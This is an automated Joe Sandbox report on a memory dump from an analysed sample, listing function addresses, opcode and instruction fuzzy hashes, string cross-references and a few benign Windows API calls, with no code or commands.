Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: 80
API String ID: 0-1093746208
Opcode ID: 878997d6baa86dfda7afde9b213f043d6d9ed686ef77c60fd0fe06d97ac6e5f4
Instruction ID: c4aec185728a001a2e2e90444b35210f82ef61fc8b39f73ca95c0c0f08f938be
Opcode Fuzzy Hash: 878997d6baa86dfda7afde9b213f043d6d9ed686ef77c60fd0fe06d97ac6e5f4
Instruction Fuzzy Hash: 2B219F745083409BC310AF19C841A2BBBF4EF92765F45490DE4D59B391E338C900CBAB

Function 004F81AA Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

PP, xrefs: 004F822C

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: PP
API String ID: 0-2217693588
Opcode ID: 54958435b2dad83822c46e40f2f562ac341903f1bdca3cd1eaeb1d78a9427319
Instruction ID: 845b454b0814bca7e94be20e67a8ae41bd024b904e2d134dd17df5ca522317de
Opcode Fuzzy Hash: 54958435b2dad83822c46e40f2f562ac341903f1bdca3cd1eaeb1d78a9427319
Instruction Fuzzy Hash: 2621A8F0904B40AFD360EF3AC90675BBEE8EB45354F104A1DF8AA87691D371A4458BD6

Function 00509E60 Relevance: .6, Instructions: 582COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 593f3d8c9a3920db9aedaac58aa2562e174929e5496875dbf14797a5c622efbf
Instruction ID: ece73c1fc81d7ed2ac570a38da8f67b05ed781b2b52aacd5e22ad08eb30bd82c
Opcode Fuzzy Hash: 593f3d8c9a3920db9aedaac58aa2562e174929e5496875dbf14797a5c622efbf
Instruction Fuzzy Hash: 6D12CD71A08251CFCB04CF28D894AAEBBF1FF8A310F19882DE585D7292E735D955CB91

Function 00507EDE Relevance: .5, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a57200fb7b46664bacd03a285dab7876beacce546bd92f09627aba7b38870738
Instruction ID: ee0af32a427065ba342009ef9a01a0dec79ec640f6597057f7f6e6e280872ed4
Opcode Fuzzy Hash: a57200fb7b46664bacd03a285dab7876beacce546bd92f09627aba7b38870738
Instruction Fuzzy Hash: 00021175A1865ACFCB10CF68D880AAEBBB1FF59310F1489A8D851E7391E335E944DF90

Function 004CA3C0 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0537d3602b05352d162d47d3b37e8bd64bb5caa79fc0b4c4570d86523830f7e
Instruction ID: 2428125cff02aa549bcdce9b2dbd4f729b334320a11f7db34ee90bf93330d2bc
Opcode Fuzzy Hash: e0537d3602b05352d162d47d3b37e8bd64bb5caa79fc0b4c4570d86523830f7e
Instruction Fuzzy Hash: C5F1D1396083458FC724CF29C881B6BFBE2AFD9304F08882DE4C987751E679E855CB56

Function 004D46B5 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bd774217f5ec86daf5c22322d7820231c2153e1d3315936bf89928503f2b2ac
Instruction ID: b713efe68cc8f2b521ca28ab4d520bf2383e9f14aa77d9281e21fa8bedd94143
Opcode Fuzzy Hash: 7bd774217f5ec86daf5c22322d7820231c2153e1d3315936bf89928503f2b2ac
Instruction Fuzzy Hash: 6BA158B45007819FD3218F29C890B16FBF1FF9A300F24495EE4DA87752E33AA854CB99

Function 004D3AE6 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c293102b0d4d41d775fd649e046ed53042ced917ba5845126ae75ac719d6239
Instruction ID: efcbc439cf388af8690d2246c513e736ddd635639b09d245a8a84fb74353c999
Opcode Fuzzy Hash: 4c293102b0d4d41d775fd649e046ed53042ced917ba5845126ae75ac719d6239
Instruction Fuzzy Hash: 5A918C756006419FD321CF28C8A0B27B7F2EF96305F24891FD48A87392E739E945CB99

Function 004D5078 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c8eecf0b017f2660d9522ff0608ede2c1cc1271618e743b9798c7c43e0c12fc
Instruction ID: 78bacaeff9907574ba6c01bd36725c5e013ac66dced2f059fab3ff6322c0420c
Opcode Fuzzy Hash: 1c8eecf0b017f2660d9522ff0608ede2c1cc1271618e743b9798c7c43e0c12fc
Instruction Fuzzy Hash: 7A819DB4A00A01DFD321DF29D890B26B7F5FF9A304F14896ED58687712E739E805CB98

Function 004EF5B7 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 230566d0b1a073fe594f3fe243a92fbc801aa69d47c2bc56a05e9b6ebaa17463
Instruction ID: 3b98cc6564d5d48c4f0006984afc6a8fcbed373d83813319e59d3aa2d9e837d8
Opcode Fuzzy Hash: 230566d0b1a073fe594f3fe243a92fbc801aa69d47c2bc56a05e9b6ebaa17463
Instruction Fuzzy Hash: 6A713A741083918BD720EF19C890A2BB7F0FF96345F141D5EE4D19B361E3799909CB5A

Function 004D4E26 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25c298b67ea234533a0ee909aa57215c37a186d7c22feba42cc7ffc91b8be3ab
Instruction ID: 8619fd4ac2cb0d61de8efd760f974c0fd4b40d24a52bba0568e1f625b6527aad
Opcode Fuzzy Hash: 25c298b67ea234533a0ee909aa57215c37a186d7c22feba42cc7ffc91b8be3ab
Instruction Fuzzy Hash: 3A61C1B5900B009FD7259F35E890A23B3F5FB95318F144A2EE08783B61E739E844CB89

Function 004C5D20 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 398848709c2287398523cc7f818409905fb505b833fe3d059602eee75d26422e
Instruction ID: 27071c1c0f886bd1be852a6c776ae470444786c26a191c026e9fcf672e5c65e1
Opcode Fuzzy Hash: 398848709c2287398523cc7f818409905fb505b833fe3d059602eee75d26422e
Instruction Fuzzy Hash: 875190799047019FC754DF18C480E2BB7A1FF85324F19466EE89A8B352D635FC82CB9A

Function 004C4C10 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08c903a2774bc6df5269ec9394e4d2b4249a1b345d6e6f96374d041045904a8a
Instruction ID: 0de4c0eb7cab79cd5fff72725c59a91ce3493a7438b1d82246003bc6a33d8f12
Opcode Fuzzy Hash: 08c903a2774bc6df5269ec9394e4d2b4249a1b345d6e6f96374d041045904a8a
Instruction Fuzzy Hash: A131D8386052009BD7549E59D9D0F27B7E1EFC5318F1A892EE89A87361D339DC42CB4A

Function 004FB510 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: c024cd8d20e1933f53c46ae9c7bcc36d1390256b6a714aa28d1a5e4a80afdb58
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: BE11CA336051D80EC3158D3CC4405757FE34A97739B5D939AE4B8972D2D72A8D8E8399

Function 004F0BD0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 280971b818c92cda73003084fe35fa709fc308098d1831b144d262705e9ce05f
Instruction ID: 2a0d57a94d45f60584341e1b7a1d9a6bad829234f03c7b06297fae1b6d550aaa
Opcode Fuzzy Hash: 280971b818c92cda73003084fe35fa709fc308098d1831b144d262705e9ce05f
Instruction Fuzzy Hash: 3E01D8F560134947E720DE5298D0B37B2A9AFC0718F18052EDA0957303DB7EFC05C699

Function 00505D80 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 547ad727f44638195730171185ecc3f8c047440e8f4f86f6fc76094f6fb5647d
Instruction ID: f1c99a38a94b9f7060bcdcb97081044642054dfc52b0523f11bc2e504bbdce12
Opcode Fuzzy Hash: 547ad727f44638195730171185ecc3f8c047440e8f4f86f6fc76094f6fb5647d
Instruction Fuzzy Hash: 401134B4518380AFD304DF64D58891FFBE8BB96708F50982DF4D487242E735D909CB56

Function 004C7120 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de24cc8bd5739dc9bd59f0e5edbd3392340f82c229a036fabaa9281a7b80fe4b
Instruction ID: 45a185fc0e5eb7d15ff397ca5dbef9837910c7fcbb53a1797c01a4d3419cbcbe
Opcode Fuzzy Hash: de24cc8bd5739dc9bd59f0e5edbd3392340f82c229a036fabaa9281a7b80fe4b
Instruction Fuzzy Hash: 28F02B3A7582160BE758CD95ECD0E7BB366E7D6255B0E003ED942D3341CD64E805E664

Function 004DA880 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a262c98f02bee36f9e7b41f4a9b905533450b75733afa39f2542f44ca0caaf6
Instruction ID: 350deff68a88f8d8c40abbafd4cf2ef0fca9497447ca6d25c841dfe916fbcd51
Opcode Fuzzy Hash: 7a262c98f02bee36f9e7b41f4a9b905533450b75733afa39f2542f44ca0caaf6
Instruction Fuzzy Hash: 88F027B1A0411027DB22A9459C90B37FB9CCB87314F0D0417FC4053382E2655C4583EB

Function 00502280 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: 39f4137ff0c8ec7a87889ff8f5c6a92388d9581ed1f69586c6c56cd155818f13
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: 15D0A72560832247EB788E59A40497BFBF0FFC7B11F89955EF582E3188D230DC41C2A9

Function 004F9170 Relevance: 49.1, APIs: 2, Strings: 26, Instructions: 99COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 004F91B9
GetSystemMetrics.USER32 ref: 004F91C9

Strings

9Q, xrefs: 004F9234
pAQ, xrefs: 004F928C
9Q, xrefs: 004F9465
9Q, xrefs: 004F940D
9Q, xrefs: 004F93CB
hAQ, xrefs: 004F9281
PAQ, xrefs: 004F9260
HAQ, xrefs: 004F9255
9Q, xrefs: 004F9423
9Q, xrefs: 004F947B
9Q, xrefs: 004F9389
9Q, xrefs: 004F9439
9Q, xrefs: 004F93E1
9Q, xrefs: 004F9181
9Q, xrefs: 004F93B5
xAQ, xrefs: 004F9297
9Q, xrefs: 004F939F
XAQ, xrefs: 004F926B
AQ, xrefs: 004F9331
AQ, xrefs: 004F9326
9Q, xrefs: 004F935D
9Q, xrefs: 004F93F7
9Q, xrefs: 004F9373
@AQ, xrefs: 004F924A
`AQ, xrefs: 004F9276
9Q, xrefs: 004F944F

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: MetricsSystem
String ID: 9Q$ 9Q$ 9Q$ 9Q$ 9Q$ 9Q$ 9Q$ 9Q$ 9Q$ 9Q$ 9Q$ 9Q$ 9Q$ 9Q$ 9Q$ 9Q$@AQ$HAQ$PAQ$XAQ$`AQ$hAQ$pAQ$xAQ$AQ$AQ
API String ID: 4116985748-468554162
Opcode ID: d95f64c728d7888f72d4e92c75a4135165db8579dac4338109d9ef27d94959f6
Instruction ID: bf607a518bd9b8f87fac9ede1d8735bf44289cde33fcc447a9468832b87cdd36
Opcode Fuzzy Hash: d95f64c728d7888f72d4e92c75a4135165db8579dac4338109d9ef27d94959f6
Instruction Fuzzy Hash: D86132B40497C19AE3709F14E898BCFBEE0BB95308F51A91CD4DD6A340CBB54588CF82

Function 004F71AB Relevance: 29.8, APIs: 2, Strings: 15, Instructions: 89COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004F71C3
VariantInit.OLEAUT32 ref: 004F71CF

Strings

2, xrefs: 004F71F7
?, xrefs: 004F7227
V, xrefs: 004F721F
0, xrefs: 004F71FF
-, xrefs: 004F7247
(, xrefs: 004F724F
H, xrefs: 004F723F
e, xrefs: 004F7263
!, xrefs: 004F722F
8, xrefs: 004F720F
9, xrefs: 004F71EF
7, xrefs: 004F7257
#, xrefs: 004F7207
4, xrefs: 004F7217
?, xrefs: 004F7237

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$#$($-$0$2$4$7$8$9$?$?$H$V$e
API String ID: 2610073882-164105402
Opcode ID: 605aae3691f3b0de7f8ec15a14a8d55dccc7dc8bd898e13fb5ebc145c50854d3
Instruction ID: fc493dc29d9f00be612a71b53c8fe53e8d9fff0107d10689a90b2ec2b0bbd727
Opcode Fuzzy Hash: 605aae3691f3b0de7f8ec15a14a8d55dccc7dc8bd898e13fb5ebc145c50854d3
Instruction Fuzzy Hash: 634109600087C18ED726CF2988C8216BFA1AF16224F488ADDD8E54F7DBC375D519C7A6

Function 004F5993 Relevance: 29.8, APIs: 2, Strings: 15, Instructions: 81COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004F599D
VariantInit.OLEAUT32 ref: 004F59A9

Strings

7, xrefs: 004F5A31
V, xrefs: 004F59F9
?, xrefs: 004F5A01
?, xrefs: 004F5A11
9, xrefs: 004F59C9
8, xrefs: 004F59E9
4, xrefs: 004F59F1
e, xrefs: 004F5A3D
#, xrefs: 004F59E1
!, xrefs: 004F5A09
-, xrefs: 004F5A21
H, xrefs: 004F5A19
(, xrefs: 004F5A29
2, xrefs: 004F59D1
0, xrefs: 004F59D9

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$#$($-$0$2$4$7$8$9$?$?$H$V$e
API String ID: 2610073882-164105402
Opcode ID: 55fe058b69d7e5e201a767dbd6c62f370a94f36cb51191324d8351790fba5f64
Instruction ID: 7e5ed7eda9772da6817d416474162af75732b02c21229d95d024a217f44a918d
Opcode Fuzzy Hash: 55fe058b69d7e5e201a767dbd6c62f370a94f36cb51191324d8351790fba5f64
Instruction Fuzzy Hash: E941E7600087C1CED726CF2C8488616BFA06F26224F488ACDD8E54F7DBC375E519CBA6

Function 004F6BEE Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 83COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004F6BF4
VariantInit.OLEAUT32 ref: 004F6C03

Strings

q, xrefs: 004F6C27
u, xrefs: 004F6C37
g, xrefs: 004F6C7F
y, xrefs: 004F6C47
a, xrefs: 004F6C67
2, xrefs: 004F6C43
}, xrefs: 004F6C57
e, xrefs: 004F6C77
i, xrefs: 004F6C87
c, xrefs: 004F6C6F
s, xrefs: 004F6C2F
w, xrefs: 004F6C3F
f, xrefs: 004F6C83
{, xrefs: 004F6C4F

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: Variant$ClearInit
String ID: 2$a$c$e$f$g$i$q$s$u$w$y${$}
API String ID: 2610073882-100263010
Opcode ID: 9496821659948f7f6121248dea5951d1620f5b60aae48cba16f088a5c3c21a85
Instruction ID: cbad362979761d7865128f07d182c49fe99f821fc967e91d1ac70a59b7da466e
Opcode Fuzzy Hash: 9496821659948f7f6121248dea5951d1620f5b60aae48cba16f088a5c3c21a85
Instruction Fuzzy Hash: D341F520508B818ED715DF28C588616BFA1AB16314F088A8DD8EA4F797C379E519CBA2

Function 004F7333 Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 77COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(04EC839E), ref: 004F733D
VariantInit.OLEAUT32 ref: 004F734C

Strings

f, xrefs: 004F73CC
i, xrefs: 004F73D0
}, xrefs: 004F73A0
e, xrefs: 004F73C0
y, xrefs: 004F7390
g, xrefs: 004F73C8
a, xrefs: 004F73B0
{, xrefs: 004F7398
